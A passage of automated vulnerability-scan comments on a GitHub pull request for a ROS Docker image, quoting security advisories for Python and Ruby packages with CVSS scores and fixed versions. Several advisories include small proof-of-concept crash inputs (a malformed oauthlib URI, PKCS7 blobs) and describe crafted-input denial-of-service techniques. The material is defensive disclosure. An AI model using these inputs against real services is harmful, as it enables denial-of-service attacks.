as an argument before any positional arguments to those Git commands that were affected by this issue. Workarounds Regardless of whether users can upgrade or not, they should review any untrustred Gemfile's before running any bundler commands that may read them, since they can contain arbitrary ruby code. References https://cwe.mitre.org/data/definitions/88.html

pygments 2.11.2 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Unrestricted Upload of File with Dangerous Type Affected range <2.15.0 Fixed version 2.15.0 CVSS Score 6.8 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.053% EPSS Percentile 16th percentile Description A ReDoS issue was discovered in pygments/lexers/smithy.py in Pygments until 2.15.0 via SmithyLexer.

oauthlib 3.2.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Improper Input Validation Affected range >=3.1.1 <3.2.2 Fixed version 3.2.2 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.380% EPSS Percentile 59th percentile Description Impact Attacker providing malicious redirect uri can cause DoS to oauthlib's web application. Attacker can also leverage usage of uri_validate functions depending where it is used. What kind of vulnerability is it? Who is impacted? Oauthlib applications using OAuth2.0 provider support or use directly uri_validate function. Patches Has the problem been patched? What versions should users upgrade to? Issue fixed in 3.2.2 release. Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? The redirect_uri can be verified in web toolkit (i.e bottle-oauthlib, django-oauth-toolkit, ...) before oauthlib is called. A sample check if : is present to reject the request can prevent the DoS, assuming no port or IPv6 is fundamentally required. References Attack Vector: Attacker providing malicious redirect uri: https://github.com/oauthlib/oauthlib/blob/d4bafd9f1d0eba3766e933b1ac598cbbf37b8914/oauthlib/oauth2/rfc6749/grant_types/base.py#L232 Vulnerable uri_validate functions: https://github.com/oauthlib/oauthlib/blob/2b8a44855a51ad5a5b0c348a08c2564a2e197ea2/oauthlib/uri_validate.py PoC is_absolute_uri("http://[:::::::::::::::::::::::::::::::::::::::]/path") Acknowledgement Special thanks to Sebastian Chnelik - PyUp.io

resolv 0.2.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Validation of Specified Quantity in Input Affected range <0.2.3 Fixed version 0.2.3 CVSS Score 6.6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U EPSS Score 0.022% EPSS Percentile 5th percentile Description A denial of service vulnerability has been discovered in the resolv gem bundled with Ruby. Details The vulnerability is caused by an insufficient check on the length of a decompressed domain name within a DNS packet. An attacker can craft a malicious DNS packet containing a highly compressed domain name. When the resolv library parses such a packet, the name decompression process consumes a large amount of CPU resources, as the library does not limit the resulting length of the name. This resource consumption can cause the application thread to become unresponsive, resulting in a Denial of Service condition. Affected Version The vulnerability affects the resolv gem bundled with the following Ruby series: Ruby 3.2 series: resolv version 0.2.2 and earlier Ruby 3.3 series: resolv version 0.3.0 Ruby 3.4 series: resolv version 0.6.1 and earlier Credits Thanks to Manu for discovering this issue. History Originally published at 2025-07-08 07:00:00 (UTC)

net-imap 0.1.1 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Uncontrolled Resource Consumption Affected range <=0.2.4 Fixed version 0.2.5 CVSS Score 6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.148% EPSS Percentile 36th percentile Description Summary There is a possibility for denial of service by memory exhaustion when net-imap reads server responses. At any time while the client is connected, a malicious server can send can send a "literal" byte count, which is automatically read by the client's receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response. This should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname). Details The IMAP protocol allows "literal" strings to be sent in responses, prefixed with their size in curly braces (e.g. {1234567890}\r\n). When Net::IMAP receives a response containing a literal string, it calls IO#read with that size. When called with a size, IO#read immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted. Fix Upgrade Users should upgrade to net-imap 0.5.7 or later. A configurable max_response_size limit has been added to Net::IMAP's response reader. The max_response_size limit has also been backported to net-imap 0.2.5, 0.3.9, and 0.4.20. To set a global value for max_response_size, users must upgrade to net-imap ~> 0.4.20, or > 0.5.7. Configuration To avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default max_response_size for net-imap 0.5.7 is very high (512MiB), and the default max_response_size for net-imap ~> 0.4.20, ~> 0.3.9, and 0.2.5 is nil (unlimited). When connecting to untrusted servers or using insecure connections, a much lower max_response_size should be used. # Set the global max_response_size (only ~> v0.4.20, > 0.5.7) Net::IMAP.config.max_response_size = 256 << 10 # 256 KiB # Set when creating the connection imap = Net::IMAP.new(hostname, ssl: true, max_response_size: 16 << 10) # 16 KiB # Set after creating the connection imap.max_response_size = 256 << 20 # 256 KiB # flush currently waiting read, to ensure the new setting is loaded imap.noop Please Note: max_response_size only limits the size per response. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses. Compatibility with lower max_response_size A lower max_response_size may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The max_response_size could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies: imap.max_response_size = 256 << 20 # 256 KiB imap.noop # flush currently waiting read # fetch a message in 252KiB chunks size = imap.uid_fetch(uid, "RFC822.SIZE").first.rfc822_size limit = 252 << 10 message = ((0..size) % limit).each_with_object("") {|offset, str| str << imap.uid_fetch(uid, "BODY.PEEK[]<#{offset}.#{limit}>").first.message(offset:) } imap.max_response_size = 16 << 20 # 16 KiB imap.noop # flush currently waiting read References PR to introduce max_response_size: ✨ Limit max_response_size ruby/net-imap#444 Specific commit: 0ae8576c1 - lib/net/imap/response_reader.rb Backport to 0.4: ✨ Limit max_response_size (backport 0.4) ruby/net-imap#445 Backport to 0.3: ✨ Limit max_response_size (backport 0.3) ruby/net-imap#446 Backport to 0.2: ✨ Limit max_response_size (backport 0.2) ruby/net-imap#447

numpy 1.21.5 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Incorrect Comparison Affected range <1.22 Fixed version 1.22 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 0.065% EPSS Percentile 20th percentile Description Incomplete string comparison in the numpy.core component in NumPy1.9.x, which allows attackers to fail the APIs via constructing specific string objects.

[github-actions]

Recommended fixes for image (linux/arm64) ghcr.io/cuautodrone/cuad-ros:test

Base image is ubuntu:22.04

Name	jammy-20251001
Digest	sha256:40c5d6cde65809ff9d47ce06d1dd01d428a9af388a8918fc7a3310a55a4c39cb
Vulnerabilities
Pushed	1 week ago
Size	27 MB
Packages	143
Flavor	ubuntu
OS	22.04

The base image is also available under the supported tag(s): jammy, jammy-20251001

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

Tag	Details	Pushed	Vulnerabilities
25.10 Major OS version update Also known as: devel questing questing-20250830	Benefits: Image contains 20 fewer packages Image has similar size Image introduces no new vulnerability but removes 14 Major OS version update Image details: Size: 29 MB OS: 25.10	1 month ago
24.04 Tag is latest Also known as: noble latest noble-20250925	Benefits: Image contains 12 fewer packages Image has similar size Tag is latest Major OS version update Image details: Size: 29 MB OS: 24.04	1 week ago
25.04 Major OS version update Also known as: plucky rolling plucky-20250925.1	Benefits: Image contains 21 fewer packages Image has similar size Major OS version update Image details: Size: 28 MB OS: 25.04	2 weeks ago

[github-actions]

Overview

Image reference	ghcr.io/cuautodrone/cuad-ros:latest	ghcr.io/cuautodrone/cuad-ros:test
- digest	450ace3034fb	81c5b5f4c7c6
- tag	latest	test
- provenance	https://github.com/CUAutoDrone/cuad-docker-ros.git#refs/pull/13/merge/commit/a72a52788a9817f8187b252b3421a9b960d61cb6	https://github.com/CUAutoDrone/cuad-docker-ros.git#2a198a35d0bfa9f68c35eda8a4262b119c74e7e0/commit/2a198a35d0bfa9f68c35eda8a4262b119c74e7e0
- vulnerabilities
- platform	linux/arm64	linux/arm64
- size	2.7 GB	2.7 GB (+46 kB)
- packages	2266	2266
Base Image	ubuntu:22.04 also known as: • jammy • jammy-20251001	ubuntu:22.04 also known as: • jammy • jammy-20251001
- vulnerabilities

[JLP04]

@dependabot rebase

[github-actions]

Your image	ghcr.io/cuautodrone/cuad-ros:latest
Current base image	ubuntu:22.04
Updated base image	ubuntu:25.10

[github-actions]

🔍 Vulnerabilities of ghcr.io/cuautodrone/cuad-ros:latest

📦 Image Reference ghcr.io/cuautodrone/cuad-ros:latest

digest	sha256:75e63086082094ed0afd7c538e7c564f999933253dbc6dcb21d314bcc74d66a9
vulnerabilities
platform	linux/amd64
size	2.7 GB
packages	2268

📦 Base Image ubuntu:22.04

also known as	jammy jammy-20251001
digest	sha256:4cb780d50443fc4463f1f9360c03ca46512e4fdd8fd97c5ce7e69c8758924575
vulnerabilities

pillow 9.0.1 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Improper Control of Generation of Code ('Code Injection') Affected range <10.2.0 Fixed version 10.2.0 CVSS Score 9.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.557% EPSS Percentile 67th percentile Description Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter). Out-of-bounds Write Affected range <10.0.1 Fixed version 10.0.1 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 93.949% EPSS Percentile 100th percentile Description Heap buffer overflow in libwebp allow a remote attacker to perform an out of bounds memory write via a crafted HTML page. Uncontrolled Resource Consumption Affected range <10.0.0 Fixed version 10.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.137% EPSS Percentile 34th percentile Description An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of memory. This occurs for truetype in ImageFont when textlength in an ImageDraw instance operates on a long text argument. Improper Handling of Highly Compressed Data (Data Amplification) Affected range <9.2.0 Fixed version 9.2.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.191% EPSS Percentile 41st percentile Description Pillow before 9.2.0 performs Improper Handling of Highly Compressed GIF Data (Data Amplification). Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affected range <10.3.0 Fixed version 10.3.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.170% EPSS Percentile 39th percentile Description In _imagingcms.c in Pillow before 10.3.0, a buffer overflow exists because strcpy is used instead of strncpy. OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <10.0.1 Fixed version 10.0.1 Description Pillow versions before v10.0.1 bundled libwebp binaries in wheels that is vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2. Affected range <10.0.1 Fixed version 10.0.1 EPSS Score 0.043% EPSS Percentile 12th percentile Description Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2.

cgi 0.2.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Integer Overflow or Wraparound Affected range >=0.2.0 <0.2.1 Fixed version 0.2.1 CVSS Score 9.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.905% EPSS Percentile 75th percentile Description A buffer overrun vulnerability was discovered in CGI.escape_html. This can lead to a buffer overflow when a user passes a very large string (> 700 MB) to CGI.escape_html on a platform where long type takes 4 bytes, typically, Windows. Interpretation Conflict Affected range >=0.2.0 <0.2.2 Fixed version 0.2.2 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H EPSS Score 2.492% EPSS Percentile 85th percentile Description Ruby gem cgi.rb prior to versions 0.3.5, 0.2.2 and 0.1.0.2 allow HTTP header injection. If a CGI application using the CGI library inserts untrusted input into the HTTP response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. This issue has been patched in versions 0.3.5, 0.2.2 and 0.1.0.2. Reliance on Cookies without Validation and Integrity Checking Affected range =0.2.0 Fixed version 0.2.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.881% EPSS Percentile 75th percentile Description CGI::Cookie.parse in Ruby through 2.6.8 mishandles security prefixes in cookie names. This also affects the CGI gem prior to versions 0.3.1, 0.2.1, 0.1.1, and 0.1.0.1 for Ruby. Inefficient Regular Expression Complexity Affected range <0.3.5.1 Fixed version 0.3.5.1 CVSS Score 6.3 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.343% EPSS Percentile 56th percentile Description There is a possibility for Regular expression Denial of Service (ReDoS) by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27220. We recommend upgrading the cgi gem. Details The regular expression used in CGI::Util#escapeElement is vulnerable to ReDoS. The crafted input could lead to a high CPU consumption. This vulnerability only affects Ruby 3.1 and 3.2. If you are using these versions, please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later. Affected versions cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1. Credits Thanks to svalkanov for discovering this issue. Also thanks to nobu for fixing this vulnerability. Uncontrolled Resource Consumption Affected range <0.3.5.1 Fixed version 0.3.5.1 CVSS Score 6.3 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.473% EPSS Percentile 64th percentile Description There is a possibility for DoS by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27219. We recommend upgrading the cgi gem. Details CGI::Cookie.parse took super-linear time to parse a cookie string in some cases. Feeding a maliciously crafted cookie string into the method could lead to a Denial of Service. Please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later. Affected versions cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1. Credits Thanks to lio346 for discovering this issue. Also thanks to mame for fixing this vulnerability.

stringio 3.0.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affected range <3.0.1.1 Fixed version 3.0.1.1 CVSS Score 9.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 2.044% EPSS Percentile 83rd percentile Description An issue was discovered in StringIO 3.0.1, as distributed in Ruby 3.0.x through 3.0.6 and 3.1.x through 3.1.4. The ungetbyte and ungetc methods on a StringIO can read past the end of a string, and a subsequent call to StringIO.gets may return the memory value. This vulnerability is not affected StringIO 3.0.3 and later, and Ruby 3.2.x and later. We recommend to update the StringIO gem to version 3.0.3 or later. In order to ensure compatibility with bundled version in older Ruby series, you may update as follows instead: For Ruby 3.0 users: Update to stringio 3.0.1.1 For Ruby 3.1 users: Update to stringio 3.1.0.2 You can use gem update stringio to update it. If you are using bundler, please add gem "stringio", ">= 3.0.1.2" to your Gemfile.

setuptools 59.6.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Inefficient Regular Expression Complexity Affected range <65.5.1 Fixed version 65.5.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:L/SA:N EPSS Score 0.318% EPSS Percentile 54th percentile Description Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in package_index. This has been patched in version 65.5.1. Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <78.1.1 Fixed version 78.1.1 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P EPSS Score 0.162% EPSS Percentile 38th percentile Description Summary A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1 Details def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter. name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like GHSA-r9hx-vwmv-q579, and as described by POC 4 in GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 pypa/setuptools#4946 Improper Control of Generation of Code ('Code Injection') Affected range <70.0.0 Fixed version 70.0.0 CVSS Score 7.5 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 4.250% EPSS Percentile 88th percentile Description A vulnerability in the package_index module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.

cryptography 3.4.8 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Observable Discrepancy Affected range <42.0.0 Fixed version 42.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.707% EPSS Percentile 71st percentile Description A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data. Access of Resource Using Incompatible Type ('Type Confusion') Affected range >=0.8.1 <39.0.1 Fixed version 39.0.1 CVSS Score 7.4 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H EPSS Score 90.049% EPSS Percentile 100th percentile Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Improper Check for Unusual or Exceptional Conditions Affected range >=1.8 <39.0.1 Fixed version 39.0.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N EPSS Score 0.717% EPSS Percentile 72nd percentile Description Previously, Cipher.update_into would accept Python objects which implement the buffer protocol, but provide only immutable buffers: >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' This would allow immutable objects (such as bytes) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since update_into was originally introduced in cryptography 1.8. NULL Pointer Dereference Affected range >=3.1 <41.0.6 Fixed version 41.0.6 CVSS Score 5.9 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.603% EPSS Percentile 69th percentile Description Summary Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault. PoC Here is a Python code that triggers the issue: from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. NULL Pointer Dereference Affected range <42.0.2 Fixed version 42.0.2 CVSS Score 5.5 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H EPSS Score 0.224% EPSS Percentile 45th percentile Description Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. Affected range >=2.5 <41.0.4 Fixed version 41.0.4 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Affected range >=0.8 <41.0.3 Fixed version 41.0.3 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Affected range >=0.5 <=40.0.2 Fixed version 41.0.0 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

protobuf 3.12.4 (pypi) pkg:pypi/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Uncontrolled Recursion Affected range <4.25.8 Fixed version 4.25.8 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.025% EPSS Percentile 6th percentile Description Summary Any project that uses Protobuf pure-Python backend to parse untrusted Protocol Buffers data containing an arbitrary number of recursive groups, recursive messages or a series of SGROUP tags can be corrupted by exceeding the Python recursion limit. Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team [email protected] Affected versions: This issue only affects the pure-Python implementation of protobuf-python backend. This is the implementation when PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=python environment variable is set or the default when protobuf is used from Bazel or pure-Python PyPi wheels. CPython PyPi wheels do not use pure-Python by default. This is a Python variant of a previous issue affecting protobuf-java. Severity This is a potential Denial of Service. Parsing nested protobuf data creates unbounded recursions that can be abused by an attacker. Proof of Concept For reproduction details, please refer to the unit tests decoder_test.py and message_test Remediation and Mitigation A mitigation is available now. Please update to the latest available versions of the following packages: protobuf-python(4.25.8, 5.29.5, 6.31.1) Improper Restriction of Operations within the Bounds of a Memory Buffer Affected range <3.18.3 Fixed version 3.18.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.123% EPSS Percentile 32nd percentile Description Summary A message parsing and memory management vulnerability in ProtocolBuffer’s C++ and Python implementations can trigger an out of memory (OOM) failure when processing a specially crafted message, which could lead to a denial of service (DoS) on services using the libraries. Reporter: ClusterFuzz Affected versions: All versions of C++ Protobufs (including Python) prior to the versions listed below. Severity & Impact As scored by google Medium 5.7 - CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Asscored byt NIST High 7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H A small (~500 KB) malicious payload can be constructed which causes the running service to allocate more than 3GB of RAM. Proof of Concept For reproduction details, please refer to the unit test that identifies the specific inputs that exercise this parsing weakness. Mitigation / Patching Please update to the latest available versions of the following packages: protobuf-cpp 